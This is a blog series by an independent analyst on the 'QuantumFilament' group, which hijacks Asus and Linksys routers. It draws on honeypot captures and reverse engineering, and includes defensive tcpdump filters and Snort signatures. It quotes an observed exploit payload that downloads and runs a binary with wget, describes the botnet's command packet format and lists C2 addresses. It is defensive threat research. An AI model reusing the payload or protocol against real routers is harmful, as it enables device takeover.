Author: Alan

Home and office routers are quite useful hardware firewalls, protecting the computers in a home or office from a lot of hostile traffic on the Internet. But most users set up the devices and forget about them. This ignores the fact that a number of vulnerabilities, or security bugs, have been found, and are used by hackers to break in and then do evil. The security of routers are critical, as these devices are gateways into an entire network. A hacked router could copy, redirect, spoof or inject traffic onto the local network, severely compromising the privacy of the users using the network.

It is reasonable to anticipate that severe, or remote execution, vulnerabilities will continue to be discovered in consumer grade routers. But the security of most home routers seems inadequate for the threat. In my experience, a typical consumer grade router has no internal mechanism to detect, or alert users to, unauthorized access or file modification; routers don’t apply firmware updates automatically; and routers alert users to the availability of a firmware update only when users log into the web console.

Manufacturers should consider becoming more proactive to enhance the security of their products, for example, by centralizing security information and resources on their corporate websites, and by making their devices more robust to resist unauthorized modifications. It also seems imperative for device manufacturers to improve security communications with their users. These challenges seem to be technically feasible, if only the manufacturers would put some thought into the effort. One approach might be to prompt users to register an e-mail address to receive information on security updates. There is another approach for notifications that circumvents complications with e-mail. In the U.S., some broadband service providers intercept DNS requests to non-existent domains, and cause the web browser to load a search or marketing webpage instead of letting the browser display its own error. There is typically an opt-out mechanism. Consumer grade router manufacturers should consider using a similar mechanism, intercepting users web requests to report significant notifications such as critical firmware updates.

In a test on an Asus RT-AC66 router, the programs that QF ran did not restart themselves if the router was rebooted, and the iptables firewall modifications didn’t persist. So a reboot might be a way to get the router into a good state, but an unpatched router will still be vulnerable to exploitation through the existing unpatched vulnerabilities. Also, the QF cyber operators might modify their programs to make the programs harder to get rid of.

If an administrator logs into a compromised router using SSH secure shell or (gasp!) telnet, he might be able to identify recently created files, particularly files beginning with the hidden character “.”. This step, however, is beyond the expertise of most home and office users.

Analysts can use the tcpdump network capture program or the Snort network intrusion detection program to identify network traffic associated with the QF group.

The following BPF/tcpdump filter will identify exploitation attempts against the Asus CVE-2014-9583 vulnerability. It may also identify legitimate Asus traffic, in addition to exploitation attempts by other groups. However in my experience, false positives are minimal. udp dst port 9999 and udp[8:4] = 0x0c153300

Here is a corresponding Snort signature: alert udp any any -> any 9999 (msg:"Possible Asus CVE-2014-9583 Exploit Attempt"; reference:cve,CVE-2014-9583; reference:url,github.com/jduck/asus-cmd; sid:10000000; rev:1; classtype:attempted-admin; pkt_data; content:"|0c 15 33 00|"; nocase; rawbytes; depth:4; )

The following BPF/tcpdump filter will identify a QF-specific command directing a victim to download and execute a binary. Typically, these commands are sent more than once an hour. False positives have been non-existent. udp dst port 4143 and udp[8:4] = 0x1001008f It is easily feasible for the QF threat group to modify their command protocol to evade this detection filter.

Here is a corresponding Snort signature: alert udp any any -> any 4143 (msg:"QuantumFilament C2"; sid:10000001; rev:1; classtype:trojan-activity; pkt_data; content:"|10 01 00 8f|"; nocase; rawbytes; depth:4; )

Its time to digest the material, and perhaps take some action on your local router. At minimum, from time to time users should reboot the router and log into the web console, and then check for firmware updates. In the next post, I will comment on the state of home/office router security. Hint: Its not great.

After days of hoping and trying, I finally captured a copy of the binary program, a program that the QF cyber operators directed the victim Linksys and Asus routers to run. It turned out that the binary sent by the QF operators at this stage, with MD5 hash 7ca9f378ca7650d79b478595df2d2681, was first submitted to VirusTotal on 30 April. In fact, all the copies of the program used at this stage were identical.

I performed basic strings analysis and identified some firewall rules, and perhaps part of QuantumFilament’s command-and-control (C2) infrastructure. But I couldn’t just stop there. I needed to know what the program did, how it worked. Since I’m not a malware analyst, I hired one.

For brevity, I will call the binary with MD5 hash 7ca9f378ca7650d79b478595df2d2681 the "loader binary, version 14".

I enlisted the services of Nitay Artenstein, a security researcher, to reverse engineer the loader binary, and to document the structure and function of any network packets it sent or received. Mr. Artenstein’s analysis was critical for this research to continue.

Mr. Artenstein found that approximately hourly, the loader binary sent a registration packet to the five hardcoded IP addresses identified in the iptables firewall rules, specifically:

• 109.206.177.16
• 50.77.24.41
• 109.206.186.250
• 91.217.90.49
• 91.217.90.19

The reason I call the loader binary version 14 is that there was an internal version number sent in the hourly registration beacon, which was 14 in this binary.

I procured a compatible Asus router (they really are fine routers), ran the captured loader binary on the router, and monitored the network traffic going back and forth. Mr. Artenstein’s analysis helped me to find the relevant traffic, and the recorded traffic filled in some key details like byte order. The two approaches–static analysis and live analysis–proved complementary to getting some answers.

The purpose of the loader binary is to run additional binary programs sent by the QF network. The loader binary listens for inbound network packets on UDP port 4143, like these:

The 20 byte packets can be divided into five 32-bit words, and have the following structure:

Word	Meaning
1	A length byte, a function number, and an authentication byte, always observed to be hex 10 01 00 8f
2	The IP address from which to download the next program, in this case 109.206.177.16. The download connection is made by TCP.
3	The version number of the binary to request, big endian integer.
4	File size, big endian integer
5	The name of the binary to request and run

Two unique ELF binaries have been distributed to the QF network of hacked routers using the above mechanism:

Name,version	Size	MD5	SHA-1
.sox,15	87724	fdf3f53f1044eb516c5abe85bedf45f6	3e86fdd6e1b8005e541af4c22d3a98b2432f1fd4
.dis,14	86196	7f5c0f1b66276eb9f800a172a43cdb8e	3f6042d3361fdfb0edee1399685b370e2b92cde2

As of post time, neither file’s hashes are found in VirusTotal’s database.

The .sox and .dis programs have not been analyzed in detail. However, based on observed behavior, the .sox binary directs the hacked router to act as a SOCKS proxy, and I theorize the .dis program might be the component that scans for and exploits other routers, adding new hacked routers to QF’s inventory.

So we have established that QF cyber operators break into unpatched Asus and Linksys home and office routers, giving QF the ability to run additional programs on the compromised router. The behavior observed suggests QF uses the routers as SOCKS proxies to hide the origin of network traffic, stealing the router’s owner’s network bandwidth. And the router also tries to find and hack other vulnerable routers.

The next chapter of the story will discuss mitigation and detection.

In a three week period starting in mid-June, my honeypot was exploited 27 times by 25 different IP addresses. It is now known that routers compromised by the QF group are directed to scan and try to exploit additional routers. The 25 IP addresses in this set were not forged or spoofed, because a TCP connection was required to download the next program via wget. Out of the 25 routers that spread the infection during these three weeks, 11 routers were located in the U.S.; three routers were located in Malaysia; two routers were located in Israel; and one router each was located in Australia, Belgium, Bulgaria, India (at a police agency), Macao, Russia, Ukraine and Vietnam.

In each case, the attacking router would first try to exploit a Linksys vulnerability, CVE-2013-5122. When that didn’t work, the same IP address would send the poison packet to UDP port 9999 a few minutes later, a poisoned packet targeting a vulnerability in Asus routers, CVE-2014-9583. The embedded shellscript in the poisoned UDP packet always had the same structure:

sh -c "cd /tmp ; rm -f .nttpd ; wget -O .nttpd http:// [ip] :[port] ; chmod +x .nttpd ; ./.nttpd"

Strangely, most of the time the TCP port designated for the download was port 3344, however 20% of the time the TCP port designated for the download was port 3384.

The first few times I observed a wget command, I attempted to retrieve the file, however the download failed. I concluded that my honeypot had to initiate the download immediately after receiving the poisoned packet.

This was the very first time I retrieved the file. This file was the program the QF group directed the victim to start running. I ran some basic tests on the file to get its hashes and file type.

Test	Value
MD5	7ca9f378ca7650d79b478595df2d2681
SHA-1	3541cbece0c80efc172b94cd80f67c94d1122d87
file	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped

This file was an executable binary program, intended for the MIPS microarchitecture. So I knew for certain the QF group was targeting, and had programs to run on, embedded devices like routers. The file is databased by VirusTotal and had a detection rate of 2/56 in July. In addition, there is a detailed automated report here.

I am not a malware analyst, but I looked at the ASCII plain text strings in the binary program, and the following strings stood out:

1. INPUT -p udp --dport %u -j ACCEPT
2. INPUT -p udp --dport 9999 -j DROP
3. INPUT -p tcp -m multiport --dport 80,8080 -j DROP
4. INPUT -s 109.206.177.16 -j ACCEPT
5. INPUT -s 50.77.24.41 -j ACCEPT
6. INPUT -s 109.206.186.250 -j ACCEPT
7. INPUT -s 91.217.90.49 -j ACCEPT
8. INPUT -s 91.217.90.19 -j ACCEPT

The above strings were fragments of iptables firewall rules. iptables is the firewall used on modern Linux operating systems, including embedded systems.

#	Rule	Explanation
1	INPUT -p udp --dport %u -j ACCEPT	Allowed any traffic destined for one specific UDP port
2	INPUT -p udp --dport 9999 -j DROP	Rejected any traffic trying to send data to the vulnerable Asus infosvr service
3	INPUT -p tcp -m multiport --dport 80,8080 -j DROP	Rejected any traffic trying to use the router’s web management interface
4	INPUT -s 109.206.177.16 -j ACCEPT	Allowed any traffic through the firewall from these five IP addresses
5	INPUT -s 50.77.24.41 -j ACCEPT
6	INPUT -s 109.206.186.250 -j ACCEPT
7	INPUT -s 91.217.90.49 -j ACCEPT
8	INPUT -s 91.217.90.19 -j ACCEPT

It appeared that, if this program was run on a victim router, it would create firewall rules that would block the same ports that QF used to break in originally. Meaning, the QF cyber operators were selfish, once a vulnerable router was found and compromised, QF did not want to share this new resource with anyone else. Also, the firewall rules allowed traffic from five IP addresses. This suggested that these addresses were, at one point in time, under control of the QF cyber operators.

I suspected the program had more functionality, but I would need some assistance to find out what else the program could do.

To be continued in chapter 3…

This all started because I was bored and looking for something to do. Really.

One weekend in June I set up a honeypot, simply a Ubuntu Linux system running Apache and running full packet capture with tcpdump. I was expecting to capture Shellshock exploitation against the web server. So one of the first things I did was to look for the string wget, that would indicate a hacker was attempting to break into a computer–my decoy honeypot, and was instructing it to download a larger, more complex program. I found wget all right, but not in the place I expected.

This network packet started everything. A packet to UDP port 9999 with an embedded shell script, instructing the computer to use wget to download a file, and run it. It is not appropriate for one computer on the Internet to tell another computer what to do, sending a command out of nowhere. There is no authentication. So right away, I knew I had something “bad”. But what?

It was clear, from the presence of the chmod, rm and other clues the target of the command was a Unix system. I soon discovered that some Asus routers, like the routers used in homes and small offices, listened on UDP port 9999. These routers often run a version of the Linux operating system. And, there was a vulnerability and an exploit, documented by Friedrich Postelstorfer and Joshua “jduck” Drake. The vulnerability had industry number CVE-2014-9583 and could let an unauthorized person take over an unpatched Asus router.

But there’s more. Minutes before the attempt to exploit an Asus vulnerability, the same IP address attempted to exploit a vulnerability in Cisco/Linksys routers.

So, one IP address attempts to break into another system on the Internet, first using a backdoor into Linksys hardware, then a few minutes later using a backdoor into Asus hardware. Some searching did not find public discussion of this tactic.

At this point I was thrilled and was eager to chase this threat. The instruction in the Asus exploit directed the would-be victim to download another program and run it. I tried to download the program in the same way, but the downloads were never successful. As I continued to capture exploitation attempts from multiple IP addresses around the world, I knew I would have to get smarter.

To be continued in chapter 2…

QuantumFilament is a codename I give to a group of cyber operators (“hackers”) breaking into home and office routers. Monitoring this group since June 2015, my honeypots have recorded what they do and how they do it. This blog will present some of the findings to date. Research is ongoing, and the blog will be updated when appropriate. What routers does QuantumFilament (QF for short) break into, and how? What do they do with their access? How sophisticated are they? Has anything been done about them? Future posts will start to answer these questions, and present the evidence. I also hope this blog will be a platform to discuss the wider arena of network forensics, packet analysis and research.

A little bit about me. I have worked in cyber security for 10 years, after graduating from Georgia Tech. I started in government positions, and I am currently a network intrusion analyst for CrowdStrike. However, the research presented in this blog is independent. In 2012, I earned the GIAC Security Expert certification, one of the more rigorous, rare and time consuming certifications in the cyber field.

I am open to collaboration on this or similar projects. For security considerations, you may use this GPG key to contact me.

This blog is not intended to start a cyber war. Watching hackers–humans–exploit the Internet, its trust and design, to break into innocent people’s devices, and use the devices to do other things, can seem frustrating. But looking from one perspective, blaming hackers for the unsafe and hostile traffic on the Internet (and its consequences) is like blaming the weather during a hurricane, or blaming the HIV virus for what it does. Perhaps one day some creative scientists can control the weather and defeat the HIV virus. Until then, people just need to be prepared, and stay as safe as possible. Similarly, hackers doing bad are out there, and will be doing their thing for the foreseeable future. The hackers doing bad learn, share information in the underground, and look for new ways to gain access, and new ways to get what they want (largely money and information.) The rest of us can’t directly stop the hackers, any more than we can redirect a hurricane. But what we can do is to study them, learn from them, share information about them, with the goal of staying safe. This is what this research project and blog is about.

A couple notes on terminology. The word hacker has two common uses, and I think at this point both uses are equally legitimate. The more common meaning of the word hacker in the media (and even outside the media) is a person that breaks into other computers. An alternative definition is people who study computer systems, to learn about them, including how to break the system. This second group of hackers, however, does not break into innocent people’s systems without permission. The goal is the learning. The satisfaction for this second group is derived from the discovery and the study, the thrill of the hunt and exploration. The QuantumFilament group is undoubtedly in the first group of hackers, breaking into unsuspecting people’s devices and stealing the resources. I consider myself in the second group. I saw what was going on, and dedicated myself to learning, researching, studying the first group. And finally, the term QuantumFilament (QF) refers to both the group doing the breaking-and-entering, as well as the research project to study them. The meaning should be clear from context.

So, over the next days, get ready for a story.